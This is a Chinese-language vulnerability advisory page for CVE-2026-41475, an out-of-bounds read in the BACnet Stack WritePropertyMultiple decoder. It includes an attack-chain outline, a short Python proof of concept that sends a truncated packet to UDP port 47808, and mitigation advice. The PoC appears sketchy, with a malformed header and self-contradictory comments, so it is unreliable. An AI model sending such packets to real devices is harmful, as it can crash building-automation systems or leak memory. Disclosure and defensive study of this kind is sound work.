IPBUF安全漏洞报告
English
CVE-2026-41475 CVSS 9.1 严重

CVE-2026-41475 BACnet Stack越界读取漏洞

披露日期: 2026-04-24

漏洞信息

漏洞编号
CVE-2026-41475
漏洞类型
越界读取
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
BACnet Stack

相关标签

BACnetIoT越界读取缓冲区溢出拒绝服务信息泄露

漏洞概述

BACnet Stack是一个用于嵌入式系统的开源BACnet协议栈C库。在1.4.3版本之前,其WritePropertyMultiple服务解码器存在越界读取漏洞。未经身份验证的远程攻击者可以通过发送特制的截断WPM请求,利用该漏洞读取分配的缓冲区边界之外的数据。该漏洞源于wpm_decode_object_property函数调用了不进行边界检查的弃用函数,可能导致设备崩溃或信息泄露。

技术细节

该漏洞位于BACnet Stack的WritePropertyMultiple服务处理逻辑中。具体而言,wpm_decode_object_property()函数在解码对象属性时,调用了已被弃用的decode_tag_number_and_value()函数。由于该函数缺乏对输入缓冲区的有效边界检查,当接收到一个精心构造的、属性载荷被截断的BACnet/IP数据包时,解码器会继续读取缓冲区末尾之后的1到7个字节内存。这种行为不仅导致越界读取,引发应用程序崩溃,还可能泄露敏感的内存信息。攻击者无需认证即可通过网络触发此漏洞,对嵌入式设备的可用性和机密性构成严重威胁。

攻击链分析

STEP 1
侦察
扫描网络寻找开放BACnet端口(UDP 47808)的嵌入式设备。
STEP 2
构造恶意数据包
攻击者编写脚本,生成一个包含截断的WritePropertyMultiple属性载荷的特制BACnet/IP数据包。
STEP 3
发送攻击请求
将构造好的畸形数据包发送给目标设备的BACnet服务端口。
STEP 4
触发漏洞
目标设备的bacnet-stack在解码数据包时,wpm_decode_object_property函数调用decode_tag_number_and_value读取越界数据。
STEP 5
达成影响
导致嵌入式设备服务崩溃或泄露内存中的敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import struct # BACnet/IP Header BACNET_IP_PORT = 47808 def create_truncated_wpm_packet(): # BACnet/IP Header: Version(1) + Length(2) + Original NPCI # Simplified header construction for PoC version = 0x01 length = 20 # Arbitrary length less than actual payload needed npci = 0x04 # Who-Is/Other logic placeholder - actual WPM APDU needed # Constructing a malformed WritePropertyMultiple APDU # This is a conceptual PoC, actual BACnet encoding is complex. # We simulate a truncated packet. header = struct.pack('!BBH', version, 0x0, length) # Malformed APDU content (Truncated) # Intended to trigger wpm_decode_object_property payload = b'\x0F' # WritePropertyMultiple service choice payload += b'\x00' # Start of Tag (Opening Tag) payload += b'\x0C' # Object Type (Analog Output) payload += b'\x01' # Instance Number (partial) # Intentionally missing closing bytes to cause OOB read return header + payload def send_poc(target_ip): sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) packet = create_truncated_wpm_packet() try: sock.sendto(packet, (target_ip, BACNET_IP_PORT)) print(f"[+] Malicious packet sent to {target_ip}") except Exception as e: print(f"[-] Error sending packet: {e}") finally: sock.close() if __name__ == "__main__": send_poc("192.168.1.100")

影响范围

BACnet Stack < 1.4.3

防御指南

临时缓解措施
若无法立即升级,建议在网络边界阻断非受信任IP对BACnet端口的访问,并配置网络设备过滤掉格式异常或长度过短的WritePropertyMultiple请求包。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表